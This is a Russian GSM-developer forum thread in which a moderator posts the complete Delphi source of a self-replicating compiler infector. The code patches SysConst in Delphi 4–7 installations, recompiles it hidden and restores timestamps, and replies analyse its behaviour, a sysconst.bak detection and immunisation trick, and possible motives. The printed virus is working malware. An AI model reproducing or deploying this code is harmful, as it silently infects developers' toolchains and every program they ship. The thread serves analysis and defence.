![]() |
|
|||||||
| Главная | Регистрация | Правила форума | FileZone | Справка | Пользователи | Календарь | Файлы | Поиск | Сообщения за день | Все разделы прочитаны |
| Важная информация |
|
| На правах рекламы | |
![]() |
|
|
Опции темы |
|
|
#1 |
|
Модератор
|
Уважаемые пользователи и программеры,
Скажу сразу: всё нижесказанное может повлиять только на тех, кто программит на Delphi. Для тех, у кого Delphi на компе не установлен весь текст ниже не имеет никакого смысла. Воизбежание дальнейших недоразумений и для предотвращения попыток недобросовестных конкурентов обвинить нас во всех тягчайших грехах какие только может придумать нездоровый мозг постараюсь прояснить имевшую место быть ситуацию. В недавнем прошлом имела ситуация, описанная тов. Лазером тут: http://forum.gsmhosting.com/vbb/show...96#post4590996 Безусловный респект тов. Лазеру за мониторинг всех последних версий Infinity-Box софта и за публично выданное предупреждение (хотя, конечно, такого рода предупреждения всяко проще давать в приватной беседе, тем более, что связаться со мной тов. Лазеру проще простого и я всегда буду рад пообщаться на различные темы). Как выяснилось, имевшая место ситуация дала нездоровый повод для нездоровой дискуссии на нездоровом ресурсе (и лично я не удивлен, что именно там такая вот дискуссия возникла): http://z3x-team.com/forum/topic.php?post=4149#post4149 Выражаю большую признательность френдам, давшим мне линк нездорового ресурса, который показывает, на что готовы идти люди в попытках очернить репутацию добропорядочных людей. Этот пример объективно показывает степень испорченности мозга тех, кто пользуется такого рода ситуациями для выражения своей истинной природы, как, впрочем, и полное отсутствие каких-либо навыков в чтениии элементарного исходного кода (тот, кто разберет приложенный исходный код и сравнит свои мысли с выводами, озвученными нездоровыми ртами сам увидит нулевую степень нездорового мозга). Ниже приводится исходный текст, который каждый может проанализировать и увидеть, что именно зловредного он несет. Специально не хочу давать тут каких-либо заключений по причине того, что лучше пусть кто-нибудь другой напишет резюме того, что именно данный код может и чего не может сделать, и сможет ли он сделать то, в чем пытаются обвинить нас нездоровые злобные карлики. Я буду признателен всем, кто самостоятельно разберет код из аттача тов. Лазера. Если кому будет удобнее разобрать код, который приведен в более читаемый вид, то привожу его тут. Код:
uses windows;
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin closefile(f1); exit; end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Чтобы такого не происходило в будущем ни с кем, будьте оченнь внимательны и осторожны при запуске каких-либо чужих приложений на своём ПК. Даже очень умные антивирусы не могут знать всего и могут пропустить что-то с виду очень простое. p.p.s. Для тех, кто хочет заработать себе плюсики поливанием грязью других: чтобы не показывать свою полную необразованность в следующий раз постарайтесь сначала подумать, и только потом уже пороть чушь про злой умысел уважаемых людей, которые подняли такой проект как Infinity-Box и держат её на высоте более 4 (четырех) лет. Как показывает практика, такого рода работа под силу только профессионалам высочайшей квалификации и безграничной работоспособности. p.p.p.s. Если кому-то еще по нездоровости придут в головы мысли типа "они воруют исходники", то рекомендую всем посмотреть всем мультфильм "Летучий корабль", там есть радикальный ответ на все вопросы, которые я могу себе задать по поводу каких-либо исходников. Ответ на вопрос где я беру то, что сам не могу сделать составляет всего одно слово и звучит сразу после вопроса Царя "Построишь летучий корабль ?". @NoName® С остальными-то всё понятно уже давно. Я последнее время думал, что у тебя интеллекта больше чем у прочих, а ты себя поставил в один ряд. Неужели ты сам не был столь любопытен и не посмотрел, что именно за код был в аттаче ? Если стал писать не посмотрев, то надо списать это на обычное стадное чувство, а если посмотрел и всёравно стал писать, то либо твоя программерская квалификация стремится к нулю либо я просто промолчу дальше, а остальные пусть догадаются сами. @Sedy Спросил бы у меня, я бы рассказал больше, понятнее и более квалифицированно. Данный рекламный блок не показывается зарегистрированным пользователям
Последний раз редактировалось IHelper; 06.07.2009 в 01:41. |
|
|
| На правах рекламы | |
|
|
|
|
|
#2 | |
|
Сенсей
|
Цитата:
|
|
|
|
|
Пользователь добавил плюс
|
|
|
#3 | |
|
Модератор
|
Цитата:
|
|
|
|
|
|
#4 |
|
Сенсей
|
IHelper, Да на Дельфях программирует куча народу, отискать концы откуда взялся этот код - занятие практически нереальное, слишком много времени прошло
У меня тоже сидела эта штука, и у Жеки, источником мог быть кто угодно, завтра проверю свой второй комп на наличии этого вируса, на нем я не пишу уже более 4-х месяцев.
__________________
При установке Linux не погибло ни одного пингвина,полегли только дятлы.. |
|
|
|
|
#5 | |
|
Модератор
|
Цитата:
Цель поста только одна - чтобы кто-нибудь (не я) описал что именно данный код делает, чтобы ни у кого не возникало в будущем желания делать умный вид и пороть чушь про "специально сделанные вирусы" и т.д. Последний раз редактировалось IHelper; 06.07.2009 в 03:09. |
|
|
|
|
|
#6 | |
|
Участник
|
Цитата:
Данный код ищет установленна ли в системе Delphi от 4 до 7 версии. Если он находит Delphi, он создает копию Sysconst.dcu в виде sysconst.Bak , и патчит sysconst.dcu добавляя себя. В итоге любая программа написанная на "заражонной" машине, будет иметь уже этот код. Проверить загаженная машина или нет, проще всего посмотрев есть ли в папке Delphi\lib файл sysconst.Bak Избавится тоже просто, создаем обычный файл sysconst.Bak, и тогда даже если запустить "заражонную" программу то патчить sysconst.dcu не будет. Больше злых деяний я не обнаружил, но я и не являюсь экспертом в данном вопросе, я только учусь. |
|
|
|
|
|
#8 |
|
Модератор
|
Рома, а какую цель мог преследовать написавший этот вирус?
__________________
ASK->RPL , NCK Коды, Логи и Активации на www.uo5oq.com |
|
|
|
|
#9 |
|
Участник
|
Кроме самоутверждения, больше ни какой.
Показать что вот я могу, и антивирус пропускает и сам себя копирует... Ну красть сырцы однозначно этот код не сможет Хотя код интересный, и в умелых руках может беды наделать. |
|
|
|
Пользователь добавил плюс
|
NoName® (07.07.2009) |
|
|
#10 |
|
Модератор
|
Не совсем так.
Почитал, что Серега написал на хостинге, так это по сути - плацдарм для дальнейшего внедрения любого своего кода, например для плагиата. И тогда по поводу авторства, предположеного IHelper-ом, не остаётся сомнений
__________________
ASK->RPL , NCK Коды, Логи и Активации на www.uo5oq.com Последний раз редактировалось s.Mobi; 06.07.2009 в 15:47. |
|
|
|
Пользователь добавил минус
|
NoName® (07.07.2009) |
|
|
#11 | |
|
Модератор
|
Цитата:
Я не предполагал никакого авторства, понять кто это сделал у меня фантазии не хватит, т.к. нахвататься такого "подарка" мог кто угодно где угодно. |
|
|
|
|
Пользователь добавил плюс
|
NoName® (07.07.2009) |
|
|
#12 | ||
|
Модератор
|
Цитата:
Цитата:
Возможно мне показалось.
__________________
ASK->RPL , NCK Коды, Логи и Активации на www.uo5oq.com |
||
|
|
|
|
#13 |
|
Модератор
|
Мог
![]() Скорее не у всех и не с возрастом, а у тех, которые не могут превратить свою "умность-амбициозность" в более полезные вещи (например типа денег). |
|
|
|
|
#14 | ||
|
Модератор
|
__________________
ASK->RPL , NCK Коды, Логи и Активации на www.uo5oq.com |
||
|
|
|
Пользователь добавил минус
|
NoName® (08.07.2009) |
|
|
#15 | |
|
MCRF Инженер
|
Цитата:
но насчет сырцов - увольте ИБО- все нормальные программеры после завершения работы экзешник пакуют, хоть EXEPack - ом по причине экономии места у пользователя, а также по некоторым другим соображениям ))причем некоторые даже используют самостоятельно разработанные упаковщики ... со встроенный алгоритмом антиотладки, например обрывания или использования INT1, INT3, или хранения в таймере некоторых параметров ))
Последний раз редактировалось pasha_zv; 07.07.2009 в 14:30. |
|
|
|
|
|
#16 |
|
Супер Модератор
|
Можно предположить, что это тест нового способа распространения своего вируса. На этот раз через программистов, а не через пользователей. Кроме того, насколько я знаю, современные антивирусы не детектируют вирусы по их исходному коду на Дельфи. Поэтому фактически получилась гремучая смесь. Помните "Крепкий орешек"? Две безобидные разноцветные жидкости спокойно так себе лежат друг рядом с другом... Но стоит их соединить, как... БУМ! Так и тут. Исходник вируса никому не опасен и никаких деструктивных действий не производит. Однако стоит его соединить с Дельфи (скомпилировать на зараженной машине любую программу, даже "Hello World") как... БУМ! Мы получаем работоспособный вирус внедренный во вполне себе такую легальную программу. Идея недурна... Особенно учитывая, что разработчики имеют тенденцию скомпилированные программы потом размещать на своих сайтах или давать другим разработчикам.... Сами понимаете...
|
|
|
|
Пользователь добавил плюс
|
NoName® (07.07.2009) |
|
|
#17 | |
|
Модератор
|
Цитата:
P.S. На воре и шапка горит (старинная Русская пословица).
__________________
ASK->RPL , NCK Коды, Логи и Активации на www.uo5oq.com |
|
|
|
|
Пользователь добавил минус
|
NoName® (08.07.2009) |
|
|
#18 |
|
MCRF Инженер
|
Будет гораздо хуже, если это проникнет в другие языки на которых пробуют писать студенты и программисты-самоучки
![]() Как сказал FractalizeR сырой код не отслеживают (яркий пример -наличие вирусов в линаксе) |
|
|
|
|
#19 |
|
Участник
|
Ну начнем стого что Delphi, довльно мощный язык, и пишут на нем многие я даже думаю больше чем на С.
Да и в мире GSM продуктов преаблодает именно этот язык, вот софт котрый написан на Delphi: UFS Infinity LangPackEditor от sMobi. SeTool SMTi Vigys Весь Z3х USB-Smart UBL Rocker JAF Cinek MultiBox ContentExtractor от PANUA и многие проэкты от неизвестных команд. Обусловленно это простым синтаксисом, при довльно мощных возможностях. |
|
|
|
Пользователь добавил плюс
|
NoName® (08.07.2009) |
|
|
#20 | |
|
Член группы поддержки продукта
|
JAF Кажется весь на MSVC писан
MultiBox Смесь Delphi/CBuilder , но это не столь важно. А вот если конкретно искать откуда пошёл сорс вирус достаточно собрать по нескольео релизов от всех комманд и посмотреть где он вирь явился первее. Цитата:
__________________
Последний раз редактировалось NoName®; 07.07.2009 в 23:01. |
|
|
|
![]() |
| Закладки |
| На правах рекламы | |
|
|
|
| Здесь присутствуют: 1 (пользователей: 0 , гостей: 1) | |
| Опции темы | |
|
|
Похожие темы
|
||||
| Тема | Автор | Раздел | Ответов | Последнее сообщение |
| Cмеемса =)) (рассказы) | PGP | ** OFFTOPIC ** | 40 | 12.02.2006 21:49 |
|
|